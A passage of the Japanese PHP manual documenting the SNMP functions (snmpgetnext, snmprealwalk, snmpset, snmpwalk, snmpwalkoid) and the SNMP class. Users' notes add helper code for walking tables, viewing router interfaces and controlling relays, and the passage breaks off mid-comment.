snmpgetnext() 関数は、 object_id で指定したオブジェクトに続く SNMP オブジェクトの値を取得します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

community

リードコミュニティ。

object_id

前にある SNMP オブジェクトの ID。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に SNMP オブジェクトの値、エラー時に false を返します。 エラー時には E_WARNING が発生します。

例

例1 snmpgetnext() の使用法

<?php
$nameOfSecondInterface = snmpgetnetxt('localhost', 'public', 'IF-MIB::ifName.1';
?>

参考

  • snmpget() - SNMP オブジェクトを取得する
  • snmpwalk() - エージェントから全ての SNMP オブジェクトを取得する

User Contributed Notes

achalsaraiya at yahoo dot co dot in 25-Mar-2010 02:46
with snmpget api, the agent returns the value associated
with the OID (or OIDs) specified in the original request.
The snmpgetnext api is  similar, but the agent returns the
value associated with the next (valid) OID

eg:
snmpgetnext('192.168.40.134',
                   'public',
                   'SNMPv2-MIB::sysUpTime.0');

will give the output:
STRING: user@hostname


指定したオブジェクトに関するオブジェクト ID を含むすべてのオブジェクトを返す

  • ≪ snmpgetnext
  • snmpset ≫
  • PHP Manual
  • SNMP 関数
  • 指定したオブジェクトに関するオブジェクト ID を含むすべてのオブジェクトを返す

snmprealwalk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmprealwalk — 指定したオブジェクトに関するオブジェクト ID を含むすべてのオブジェクトを返す

説明

snmprealwalk ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : array|bool

snmprealwalk() 関数は、 object_id から始まる SNMP オブジェクトを走査し、その値とオブジェクト ID を返します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

community

リードコミュニティ。

object_id

前にある SNMP オブジェクト ID。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に SNMP オブジェクト ID とその値の連想配列。エラー時に false を返します。 エラー時には E_WARNING が発生します。

例

例1 snmprealwalk() の使用法

<?php
 print_r(snmprealwalk("localhost", "public", "IF-MIB::ifName"));
?>

上の例の結果は次のようになります。

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

参考

  • snmpwalk() - エージェントから全ての SNMP オブジェクトを取得する

User Contributed Notes

aleksander dot sztramski at kpsi dot pl 20-Aug-2009 04:39
If you wish to use version 2c or 3, use the following functions:

snmp v2c functions:

snmp2_get (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_getnext (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_real_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_set (string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])

snmp v3 functions:

snmp3_get (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
snmp3_getnext (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string pri)
snmp3_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_p)
snmp3_real_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string p)
snmp3_set (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
Anonymous 21-May-2008 10:19
To check if there were any results found you have to use the empty() function.  The count() function always returns a number 1 or larger.

     $walk_result = snmprealwalk($machine_ip, $community, $snmpcodes['interface_names']);

    if (empty($walk_result)) {
        print "No network interfaces found.<br>\n";
        exit(0);
    }
scot at indievisible dot org 09-Aug-2006 12:10
Some improvements based on testing a lot of OIDs on a lot of devices.

<?php
function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid);
    if (count($raw) == 0) return ($retval); // no data

    $prefix_length = 0;
    $largest = 0;
    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        if ($largest < $index[0]) $largest = $index[0];
        $retval[$index[1]][$index[0]] = $value;
    }

    if (count($retval) == 0) return ($retval); // no data

    // fill in holes and blanks the agent may "give" you
    foreach($retval as $k => $x) {
        for ($i = 1; $i <= $largest; $i++) {
        if (! isset($retval[$k][$i])) {
                $retval[$k][$i] = '';
            }
        }
        ksort($retval[$k]);
    }
    return($retval);
}
 ?>
scot at indievisible dot org 09-Aug-2006 08:16
Since PHP doesn't have a nice snmptable-like function... here is a quick-and-dirty hack that works for me. Works on complete and sparse tables. The example oids are for the route (complete) and interface (often sparse) tables.

<?php
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.4.21") or die("error");
    print_r($a);
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.2.2") or die("error");
    print_r($a);

function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid) or die("snmptable: unable to walk OID $oid");

    $prefix_length = 0;

    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        isset($firstrow) or $firstrow = $index[1];
        $retval[$index[1]][$index[0]] = $value;
    }

    // check for holes in the table and fill them in
    foreach ($retval[$firstrow] as $key => $tmp) {
        foreach($retval as $check => $tmp2) {
            if (! isset($retval[$check][$key])) {
                $retval[$check][$key] = '';
            }
        }
    }

    return($retval);
}
?>
railson at amixsi dot com dot br 30-May-2006 10:52
Attention: timeout is in microseconds (multiply by 1,000,000 for seconds)
Stephen Cope 09-Sep-2004 08:38
Here's a way to find the uptime and number of users on a machine. (Note that uptime is the uptime of the snmpd daemon, which should be fairly close to the uptime for the host.)

<?php
        $state = snmprealwalk($host, "public", ".1.3.6.1.2.1.25.1", 50, 1);
        $uptime = ereg_replace("^.*\) ([0-9]+ .*):[0-9][0-9]\.[0-9]{2}.*$", "\\1", $state['host.hrSystem.hrSystemUptime.0']);
        $users  = (int)ereg_replace("Gauge32: ", "", $state['host.hrSystem.hrSystemNumUsers.0']);
        printf('<div class="machine"><dt>%s</dt><dd>%s</dd>', $host, $desc);
        printf('<dd>up %s</dd>', $uptime);
        if ( $users ) printf('<dd>%d user%s</dd>', $users, ($users > 1) ? 's' : '');
        printf('</div>');
?>
Lars Troen 24-Feb-2003 05:30
snmprealwalk indexes the values using the oid instead of an integer. This is useful when you need data that is contained in the oid as well as the value.

Here's an example for retrieving and printing vlan info:
//
// I have collected the vlan identifiers earlier from the 3com mib and they are stored in the $vlan table.
//
  for($n=0;$n<count($vlan);$n++){
    print $vlan[$n][id]."  ".$vlan[$n][name]."<br>\n";
    $ifStackStatusTable=@snmprealwalk($switch, $community, ".1.3.6.1.2.1.31.1.2.1.3.".$vlan[$n][id]); // ifMIB.ifMIBObjects.ifStackTable.ifStackEntry.ifStackStatus
    for(reset($ifStackStatusTable);  $port = key($ifStackStatusTable);  next($ifStackStatusTable)){
      print "$port=$ifStackStatusTable[$port]<br>";
      }


SNMP オブジェクトの値を設定する

  • ≪ snmprealwalk
  • snmpwalk ≫
  • PHP Manual
  • SNMP 関数
  • SNMP オブジェクトの値を設定する

snmpset

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpset — SNMP オブジェクトの値を設定する

説明

snmpset ( string $hostname , string $community , array|string $object_id , array|string $type , array|string $value , int $timeout = -1 , int $retries = -1 ) : array|bool

snmpset() 関数は、 object_idで指定した SNMP オブジェクトの 値を設定するために使用します。

パラメータ

hostname

SNMP エージェント (サーバー) のホスト名。

community

ライトコミュニティ。

object_id

SNMP オブジェクト ID。

type

MIB は、オブジェクトIDごとのタイプを定義します。 これは、以下の一覧から指定される一文字でなければなりません。

types
= MIBから取得するタイプ
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

SNMP ライブラリをコンパイルする際、 OPAQUE_SPECIAL_TYPES が定義されていた場合、 以下も正しい値になります:

types
U | unsigned int64
I | signed int64
F | float
D | double

これらの大半は、対応する ASN.1 の型を使います。's', 'x', 'd' および 'b' はどれも OCTET STRING を異なる方法で表したものであり、'u' も Gauge32 値を扱うためのものです。

MIB ファイルが "snmp_read_mib" や libsnmp の設定で MIB ツリーに読み込まれている場合は、 type に '=' を使うことができます。 これはすべてのオブジェクト ID を表し、型は自動的に MIB から読み込みます。

"SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}" のような BITS 型の値変数を設定する方法は二通りあることに注意しましょう。

  • 型として "b" を使い、ビット番号の一覧を指定する。この方法はおすすめしません。 同じ OID に対して GET クエリを実行しても 0xF8 などを返すからです。
  • Using type "x" and a hex number but without(!) the usual "0x" prefix. 型として "x" を使い、通常のプレフィックス "0x" をつけずに(!) 16 進数を指定する。

詳細は、サンプルを参照ください。

value

新しい値。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

成功した場合に true を、失敗した場合に false を返します。

SNMP ホストがデータ型を却下すると、"Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." のような' E_WARNING メッセージが表示されます。未知の OID あるいは無効な OID を指定した場合は、おそらく "Could not add variable" のような警告となります。

例

例1 snmpset() の使用法

<?php
  snmpset("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

例2 BITS SNMP オブジェクト ID を設定した snmpset() の使用法

<?php
  snmpset("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// あるいは
  snmpset("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

参考

  • snmpget() - SNMP オブジェクトを取得する

User Contributed Notes

ch at lathspell dot de 13-Jan-2010 06:22
Note that there are two ways to set a variable of the type BITS like e.g.:
  SYNTAX        BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}

1. Using type "b" and a list of bit numbers like:
  snmpset('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
with the disadvantage that the success is not easily verifyable as an snmpget() for the same OID would return e.g. 0xF8.

2. Using type "x" and a hex number but without(!) the usual "0x" prefix:
  snmpset('FOO-MIB::bar.42', 'x', 'F0');
tridman 19-Apr-2007 07:19
If you have importet the MIB-Files into the MIB Tree with "snmp_read_mib" you may use '=' as the "type" parameter.
In this case the type will also be taken from the loaded mib file. (Octest strings will be interpreted like strings though)
Comes in handy for a more dynamic use of snmpset.
deivis dot jakstas at gmail dot com 28-Dec-2006 06:53
If you setting hex values correct format is:
snmpset($source_ip,$community,"$oid","x","10 10 10 10");
slawrance at technologist dot com 21-Jul-1999 12:01
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING
n    NULLOBJ
b    BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the
following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double

As an example, using "i" would set an integer, and "s" would set a string.  If the SNMP host rejects the data type, you might get the following message: "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length."

If you specify an unknown or invalid OID, you might get a "Could not add variable" message.  When specifying an absolute OID (one that is already resolved) that is completely numeric, prepend it with a period.  For example, an OID that could enable/disable Ethernet ports on an Asante hub might be "1.3.6.1.2.1.22.1.3.1.1.3.6.4.0", but you would need to use ".1.3.6.1.2.1.22.1.3.1.1.3.6.4.0" in the OID parameter so that the SNMP library won't try to resolve an already resolved OID.  Friendly, unresolved OIDs do not need the period prepended, such as "system.SysContact.0"


エージェントから全ての SNMP オブジェクトを取得する

  • ≪ snmpset
  • snmpwalkoid ≫
  • PHP Manual
  • SNMP 関数
  • エージェントから全ての SNMP オブジェクトを取得する

snmpwalk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpwalk — エージェントから全ての SNMP オブジェクトを取得する

説明

snmpwalk ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : array|bool

snmpwalk() 関数は、hostname で指定した SNMP エージェントから全ての値を読みとるのに使用します。

パラメータ

hostname

SNMP エージェント (サーバー)。

community

リードコミュニティ。

object_id

null の場合は、object_id が SNMP オブジェクトツリーのルートとして解釈され、 ツリーの配下のすべてのオブジェクトを配列として返します。

object_id を指定した場合は、 その object_id の配下のすべての SNMP オブジェクトを返します。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

object_id() からの SNMP オブジェクトの値の配列をルートとして返します。 エラーの場合に false を返します。

例

例1 snmpwalk() の例

<?php
$a = snmpwalk("127.0.0.1", "public", "");

foreach ($a as $val) {
    echo "$val\n";
}

?>

上記の関数コールは、ローカルホスト上で稼働する SNMP エージェントからすべての SNMP オブジェクトを返します。 ループ処理により値を一つずつとりだすことができます。

参考

  • snmprealwalk() - 指定したオブジェクトに関するオブジェクト ID を含むすべてのオブジェクトを返す

User Contributed Notes

http://mike.eire.ca 23-Mar-2005 10:54
I found on Windows (PHP 5) an empty string did not return anything, it just timed out.  I had to use null instead:

<?php
$a = snmpwalk("127.0.0.1", "public", null);
?>
bobby [dot] clark [at] eku [dot] edu 17-Sep-2003 02:29
I had to use an object_id like these.
'SNMPv2-MIB::system.sysDescr.0'
'IF-MIB::interfaces.ifTable.ifEntry.ifAdminStatus'

<?php
$host = '192.168.1.1';
$community = 'public';
$object_id = 'IF-MIB::interfaces.ifTables.ifEntry.ifAdminStatus';

$sysdesc = snmpwalk($host, $community', $object_id);
print_r($sysdesc);
?>
Lars Troen 14-Mar-2003 03:18
Note that there's different behaviuor in php snmpwalk and ucd snmpwalk. If you try to walk an oid that has one value not under a subkey of the walked oid, ucd snmpwalk will return the value while php's snmpwalk will not.
anders at ei dot nu 29-Jan-2003 10:11
It would be nice to be able to specify what snmp version to use ( 1,2c,3 )

For now, I'ts hardcoded in ext/snmp/snmp.c

change session.version from 1 to 2c or 3 if you need for now..

i.e

session.version = SNMP_VERSION_1;

to:
session.version = SNMP_VERSION_2c;
steve at ourabode dot org 26-Mar-2002 03:54
Timeout is in MICRO seconds.
1,000,000 &micros = 1 s
layer2 at www dot com 29-Aug-2001 08:52
Something to care about in dealing with snmpwalk:<BR>
While walking the MIB, snmpwalk puts info that gets into an array, and that is correct.<BR>
The trouble happened when snmpwalk needs to collect information from instances that contains subinstances (i.e. walking .1.2.3.4.5 and having instances like 1.1, 1.2, 1.3): in this case it gets info and passes into an array, but when walking the array, each value is preceeded by 'Counter32: '.<BR>
I've tested this in many ways and it always happened the same way.
john at antefacto dot com 17-Aug-2001 08:21
Ah. That's why all of our SNMP stuff was timing out anytime there was any load on the system. Sigh. A waste of two weeks trying to debug snmp....

 Even the snmpcmd manpage doesn't give a
unit for timeout.
billf at freebsd dot org 01-Aug-2001 02:22
for the poster wondering what the
timeout field was measured in:

from the ucd-snmp header file snmp_api.h:

    long    timeout;
    /* Number of uS until first timeout
    then exponential backoff */
jmartinson(AT_nospam)info234.com 20-Jun-2001 07:41
A quick router device view:

<?
include "header.html";

$host = "auscr1";
$community = "tellme";

$sysDescr = snmpget("$host","$community","system.sysDescr.0");
$ifDescr = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifDescr");
$ifIndex = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifIndex");
$ifAdminStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifAdminStatus");
$ifOperStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifOperStatus");
$ifLastChange = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifLastChange");

print "<table border=1 bgcolor=#ffffff><tr><td>$host</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff><tr><td>$sysDescr</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff>";
print "<tr>
        <td>ifIndex</td>
        <td>ifDescr</td>
        <td>ifAdminStatus</td>
        <td>ifOperStatus</td>
        <td>ifLastChange</td>
        </tr>";

for ($i=0; $i<count($ifIndex); $i++) {
        print "<tr>";
        print "<td>$ifIndex[$i]</td>";
        print "<td>$ifDescr[$i]</td>";
        print "<td>$ifAdminStatus[$i]</td>";
        print "<td>$ifOperStatus[$i]</td>";
        print "<td>$ifLastChange[$i]</td>";
        print "</tr>";
}
print "</table>";

?>


ネットワークエンティティに関する情報ツリーを検索する

  • ≪ snmpwalk
  • SNMP ≫
  • PHP Manual
  • SNMP 関数
  • ネットワークエンティティに関する情報ツリーを検索する

snmpwalkoid

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpwalkoid — ネットワークエンティティに関する情報ツリーを検索する

説明

snmpwalkoid ( string $hostname , string $community , array|string $object_id , int $timeout = -1 , int $retries = -1 ) : array|bool

snmpwalkoid() 関数は、hostname で指定した SNMP エージェントから すべてのオブジェクト ID とその値を読みこむために使用します。

snmpwalkoid() および snmpwalk() は、歴史的経緯により残されているものです。 どちらも、下位互換のために提供されています。 代わりに snmprealwalk() を使用してください。

パラメータ

hostname

SNMP エージェント。

community

リードコミュニティ。

object_id

null の場合は、object_id が SNMP オブジェクトツリーのルートとして解釈され、 ツリーの配下のすべてのオブジェクトを配列として返します。

object_id を指定した場合は、 その object_id の配下のすべての SNMP オブジェクトを返します。

timeout

最初のタイムアウトまでのマイクロ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

object_id() からの SNMP オブジェクトの値の配列をルートとして返します。 エラーの場合に false を返します。

例

例1 snmpwalkoid() の例

<?php
$a = snmpwalkoid("127.0.0.1", "public", "");
for (reset($a); $i = key($a); next($a)) {
    echo "$i: $a[$i]<br />\n";
}
?>

上記の関数コールは、ローカルホスト上で稼働する SNMP エージェントからすべての SNMP オブジェクトを返します。 ループ処理により値を一つずつとりだすことができます。

参考

  • snmpwalk() - エージェントから全ての SNMP オブジェクトを取得する

User Contributed Notes

Anonymous 21-Nov-2014 10:00
make sure you install "snmp-mibs-downloader" in debian.

apt-get install snmp-mibs-downloader

you my also need to edit your /etc/apt/sources.list

deb http://ftp.us.debian.org/debian/ wheezy main contrib non-free
deb-src http://ftp.us.debian.org/debian/ wheezy main contrib non-free
thammer at rtccom dot com 14-Jun-2005 08:29
The above note mentions that the MAC addresses come back converted to integers or something funky like that. Not sure why that is happening but I fixed that with a wrapper function.

function PadMAC($mac) {
    $mac_arr = explode(':',$mac);
    foreach($mac_arr as $atom) {
        $atom = trim($atom);
        $newarr[] = sprintf("%02s",$atom);
    }
    $newmac = implode(':',$newarr);
    return $newmac;
}

Maybe that will help somebody with that issue. I know I personally use the heck out of these user contributed notes
gene_wood at example dot com 14-Oct-2004 09:23
Looks like timeout is in MICRO seconds.
1,000,000 &micros = 1 s
jasper at pointless dot net 06-Jan-2001 07:21
N.B. it's possible for snmpwalkoid to lose data - the "rmon.matrix.matrixSDTable" table for example uses binary mac addresses as part of the index, these get converted to ascii, and by the time they get to php they can be non-unique - so some entrys in the table get lost...


SNMP クラス

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

はじめに

SNMP セッションを表します。

クラス概要

SNMP {
/* プロパティ */
public int $max_oids ;
public int $valueretrieval ;
public bool $quick_print ;
public bool $enum_print ;
public int $oid_output_format ;
public bool $oid_increasing_check ;
public int $exceptions_enabled ;
public array $info ;
/* メソッド */
public __construct ( int $version , string $hostname , string $community , int $timeout = -1 , int $retries = -1 )
public close ( ) : bool
public get ( array|string $objectId , bool $preserveKeys = false ) : array|bool
public getErrno ( ) : int
public getError ( ) : string
public getnext ( array|string $objectId ) : array|bool
public set ( array|string $objectId , array|string $type , array|string $value ) : array|bool
public setSecurity
 ( string $securityLevel
, string $authProtocol = ""
, string $authPassphrase = ""
, string $privacyProtocol = ""
, string $privacyPassphrase = ""
, string $contextName = ""
, string $contextEngineId = ""
) : bool
public walk ( array|string $objectId , bool $suffixAsKey = false , int $maxRepetitions = -1 , int $nonRepeaters = -1 ) : array|bool
/* 定数 */
const int ERRNO_NOERROR = 0 ;
const int ERRNO_GENERIC = 2 ;
const int ERRNO_TIMEOUT = 4 ;
const int ERRNO_ERROR_IN_REPLY = 8 ;
const int ERRNO_OID_NOT_INCREASING = 16 ;
const int ERRNO_OID_PARSING_ERROR = 32 ;
const int ERRNO_MULTIPLE_SET_QUERIES = 64 ;
const int ERRNO_ANY = 126 ;
const int VERSION_1 = 0 ;
const int VERSION_2C = 1 ;
const int VERSION_2c = 1 ;
const int VERSION_3 = 3 ;
}

プロパティ

max_oids

GET/SET/GETBULK リクエスト単位の最大の OID

valueretrieval

SNMP の値を返す方法

SNMP_VALUE_LIBRARY | Net-SNMP ライブラリの返す値を返します。
SNMP_VALUE_PLAIN | SNMP 型ヒントを含まないプレーンな値を返します。
SNMP_VALUE_OBJECT | オブジェクトを返します。このオブジェクトはプロパティ "value" および "type" を持ち、後者のプロパティの値は SNMP_OCTET_STR, SNMP_COUNTER などの定数となります。 "value" の中身は SNMP_VALUE_LIBRARY と SNMP_VALUE_PLAIN のどちらが設定されているかによって変わります。
quick_print

NET-SNMP ライブラリ内の quick_print の値

NET-SNMP ライブラリ内の quick_print の値を指定します。 これを (1 に) 設定すると、SNMP ライブラリは「手早く表示」した値を返します。 つまり、単なる値だけを表示するということです。quick_print を有効にしなければ (デフォルト)、NET-SNMP ライブラリは追加情報 (値の型、たとえば IpAddress や OID) も表示します。 さらに、quick_print が有効でない場合は、三文字以下のすべての文字列に対して追加の十六進値を表示します。

enum_print

enum 値の表示方法

walk や get などが、自動的に MIB 内の enum 値の元をたどって その値も可読形式の文字列にするかどうかを設定します。

oid_output_format

OID の出力フォーマットの制御

oid_output_format の値による、OID .1.3.6.1.2.1.1.3.0 の表示方法の変化
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0
SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined
oid_increasing_check

OID ツリーを走査中の OID 増加チェックの無効化

SNMP エージェントの中には、 OID を返す順番がおかしくても走査はできるというものがあります。 それ以外のエージェントの場合、OID を返す順番がおかしくなると SNMP::walk() が無限ループになり、 メモリを食いつぶしてしまいます。PHP の SNMP ライブラリは、 デフォルトで OID の増加チェックを行い、もし OID ツリーの走査中に OID が増加しないパターンがあればそこで走査を終了します。 oid_increasing_check を false にすると、このチェックが無効になります。

exceptions_enabled

警告ではなく SNMPException を発生させるのがどの失敗なのかを設定します。 Use bitwise OR'ed SNMP::ERRNO_* constants. By default all SNMP exceptions are disabled.

info

読み込み専用のプロパティで、リモートエージェントの設定を表します。 ホスト名やポート、デフォルトのタイムアウト、デフォルトの再試行回数を含みます。

定義済み定数

SNMP エラー型

SNMP::ERRNO_NOERROR

SNMP に関するエラーは発生していません。

SNMP::ERRNO_GENERIC

SNMP のエラーが発生しました。

SNMP::ERRNO_TIMEOUT

SNMP エージェントへのリクエストがタイムアウトしました。

SNMP::ERRNO_ERROR_IN_REPLY

SNMP エージェントがエラーの応答を返しました。

SNMP::ERRNO_OID_NOT_INCREASING

SNMP エージェントが、(BULK)WALK コマンドの実行中に前の OID から増加していない OID に当たりました。 リモート SNMP エージェントが偽物である可能性があります。

SNMP::ERRNO_OID_PARSING_ERROR

OID (や SET コマンドの型) のパースに失敗しました。 クエリは作成されませんでした。

SNMP::ERRNO_MULTIPLE_SET_QUERIES

要求された SET 操作で複数のクエリを使います。 この操作はトランザクション内の操作ではないので、 二番目以降のクエリに型や値の問題があれば失敗するかもしれません。

SNMP::ERRNO_ANY

すべての SNMP::ERRNO_* コードをビット OR したもの。

SNMP プロトコルバージョン

SNMP::VERSION_1

SNMP::VERSION_2C, SNMP::VERSION_2c

SNMP::VERSION_3

目次

  • SNMP::close — SNMP セッションを閉じる
  • SNMP::__construct — リモート SNMP エージェントへのセッションを表す SNMP インスタンスを作成する
  • SNMP::get — SNMP オブジェクトを取得する
  • SNMP::getErrno — 直近のエラーコードを取得する
  • SNMP::getError — 直近のエラーメッセージを取得する
  • SNMP::getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する
  • SNMP::set — SNMP オブジェクトの値を設定する
  • SNMP::setSecurity — セキュリティ関連の SNMPv3 セッションパラメータを設定する
  • SNMP::walk — SNMP オブジェクトのサブツリーを取得する

User Contributed Notes

swannie at swannie dot net 05-Mar-2021 06:17
Hopefully this helps someone else out because this was driving be bonkers for a good two hours.  It looks like valueretrieval and enum_print work together in a way that I wasn't expecting, and after re-reading may be by design but I'm not sure.  If you can't get enums to print, this might be why.

<?php
 $snmp = new SNMP(SNMP::VERSION_2C,'192.168.1.9','test');
 $snmp->oid_output_format = SNMP_OID_OUTPUT_SUFFIX;
 $snmp->valueretrieval = SNMP_VALUE_PLAIN;
 $snmp->enum_print = 0;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->enum_print = 1;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->quick_print = 1;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->valueretrieval = SNMP_VALUE_LIBRARY;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
 $snmp->enum_print = 0;
 echo $snmp->get('IF-MIB::ifOperStatus.10110') . "\n";
?>

Output:
1
1
1
1
up
madjev1990 at gmail dot com 04-Mar-2016 10:13
Part of my diploma thesis was to create web interface to command device via SNMP. So I create my own level of abstraction over SNMP class:

<?php

/**
 * Snmp library which add one level of abstraction to snmp native library.
 * It adds functionality to work with module PicoIP.With this library you can:
 * 1.Activate/deactive defined pin;
 * 2.Get status of all pins.
 *
 * When make an instance you should pass to the constructor key word which will
 * make the library create an object with necessary properetis and access permissions.
 *
 * Private properties set some of configurations:
 * Host is IP address of the divece which we will command.
 * Two passwords are set for reading and writing.
 * Version of snmp protocol that we will use is version 1.
 *
 * @author Radoslav Madjev
 * @year 2016
 * @version 1.0 beta
 *
 *
 */
class snmp_lib {

    private $snmpInstance;
    private $VERSION = SNMP::VERSION_1;
    private $HOST = '192.168.0.150';
    private $passwordRead = '000000000000';
    private $passwordWrite = 'private';
    private $releys = array(1 => '1.3.6.1.4.1.19865.1.2.1.1.0',
        2 => '1.3.6.1.4.1.19865.1.2.1.2.0');
    private $allPorts = array('3' => '1.3.6.1.4.1.19865.1.2.1.33.0',
        '5' => '1.3.6.1.4.1.19865.1.2.2.33.0');

    /**
     * Create instance of SNMP native class, based on actions that we will
     * perform.
     *
     * @param string $action
     */
    public function __construct($action) {
        if (in_array($action, array('read', 'write'))) {
            if (strcmp($action, 'read') === 0) {
                $this->_read();
            } else {
                $this->_write();
            }
        }
    }

    /**
     * Create instance with reading permissions.
     */
    private function _read() {
        $this->snmpInstance = new SNMP($this->VERSION, $this->HOST, $this->passwordRead);
    }

    /**
     * Create instance with writing permissions.
     */
    private function _write() {
        $this->snmpInstance = new SNMP($this->VERSION, $this->HOST, $this->passwordWrite);
    }

    /**
     * Close snmp session.
     *
     * @return boolean
     */
    public function closeSession() {
        return $this->snmpInstance->close();
    }

    /**
     * Set integer 1 as value of defined pin.
     */
    public function activate($relay) {
        $this->snmpInstance->set($this->releys[$relay], 'i', '1');
    }

    /**
     * Set integer 0 as value of defined pin.
     */
    public function deactivate($relay) {
        $this->snmpInstance->set($this->releys[$relay], 'i', '0');
    }

    /**
     * Get pin status of all ports of the module.
     *
     * @return array
     */
    public function getAllPortsStatus() {
        $allPins = array();
        foreach ($this->allPorts as $number => $port) {
            //get active pins as 8-bit integer of defined port
            $getbits = $this->snmpInstance->get($port);
            $bits = str_replace('INTEGER: ', '', $getbits);
            //get pins status
            $pinsStatus = $this->_getActivePins($bits);
            $allPins[$number] = $pinsStatus;
        }

        return $allPins;
    }

    /**
     * Make bitwise operation which will determine,
     * which are active pins.
     *
     * @param int $bits
     * @return array
     */
    private function _getActivePins($bits) {

        $bitMapping = array(
            1 => 1,
            2 => 2,
            3 => 4,
            4 => 8,
            5 => 16,
            6 => 32,
            7 => 64,
            8 => 128
        );

        $pinsStatus = array();

        foreach ($bitMapping as $int => $bit) {
            if (($bits & $bit) == $bit) {
                $pinsStatus[$int] = true;
                continue;
            }
            $pinsStatus[$int] = false;
        }

        return $pinsStatus;
    }

}

?>

I have one module that receive SNMP request and send a command to relays. Also these are example scripts that use this lib:
Turn on script:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('write');
